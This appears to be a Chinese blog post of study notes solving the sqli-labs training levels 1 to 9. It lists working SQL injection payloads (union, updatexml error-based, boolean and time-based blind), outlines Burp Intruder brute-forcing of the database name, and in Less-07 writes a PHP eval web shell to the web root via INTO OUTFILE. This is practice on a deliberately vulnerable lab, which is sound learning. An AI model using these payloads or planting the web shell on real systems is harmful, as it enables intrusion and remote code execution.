[渗透测试]:SQL自动化注入

[渗透测试]:SQL自动化注入

 
自动化注入
 
半自动化
 
burp
 
全自动
 
sqlmap
 
定制化脚本
 
sqli-labs题库
 
Less-01
 
    字符型注入
 
    单引号
 
    ?id=1
 
    ?id=1' and 1=2 union select 1,version(),3 --+
 
Less-02
 
    数字型注入
 
    ?id=-2 union select 1,2,version()
 
Less-03
 
    字符型注入
 
    near ''1'') LIMIT 0,1' at line 1
 
    ')
 
    ?id=1') and 1=2 union select 1,2,version()--+
 
Less-04
 
    字符型注入
 
    ")
 
    ?id=2") and 1=2 union select 1,2,version()--+
 
Less-05
 
    没有回显,有报错
 
    字符型注入
 
    单引号
 
    ?id=3' and updatexml(1,concat(0x5e,version(),0x5e),1)--+
 
Less-06
 
    没有回显,有报错
 
    字符型注入
 
    "
 
    ?id=1" and updatexml(1,concat(0x5e,(select version()),0x5e),1)--+
 
Less-07
 
    没有回显,没有报错
 
    经过代码审计
 
    字符型注入
 
    '))
 
    ?id=2')) union select 1,"<?php@eval(\$_REQUEST[777])?>",3 into outfile "c:\\phpstudy\\www\\1.php"--+
 
Less-08
 
没有回显,没有报错,有布尔类型状态
 
字符型注入
 
'
 
布尔盲注
 
半自动化注入
 
工具:bp
 
*得到数据库名长度
 
?id=2' and length(database())=2 --+
 
抓包
 

image

 
选择字典
 
start attack
 

image

 
得到数据库名的长度 8
 
*获取数据库名
 
?id=2' and ascii(substr(database(),1,1))=1--+
 

image

 
字典
 
第一个变量1-8
 
第二个变量1-128
 
start attack
 

image

 
Less-09
 
字符型注入,单引号
 
没有回显,没有报错,没有布尔类型状态,有延时
 
半自动化注入
 
*获取数据库长度
 
?id=1' and if(length(database())=1,sleep(5),1)--+
 
抓包
 
添加变量
 

image

 
字典 0-9
 

image

 
*获取数据库名
 
抓包
 

image

 
字典
 
变量1:1-8
 
变量2:1-128
 

image

 
获取成功
 

image

 
posted @ 2021-06-23 12:20  jpSpaceX  阅读(116)  评论(0编辑  收藏  举报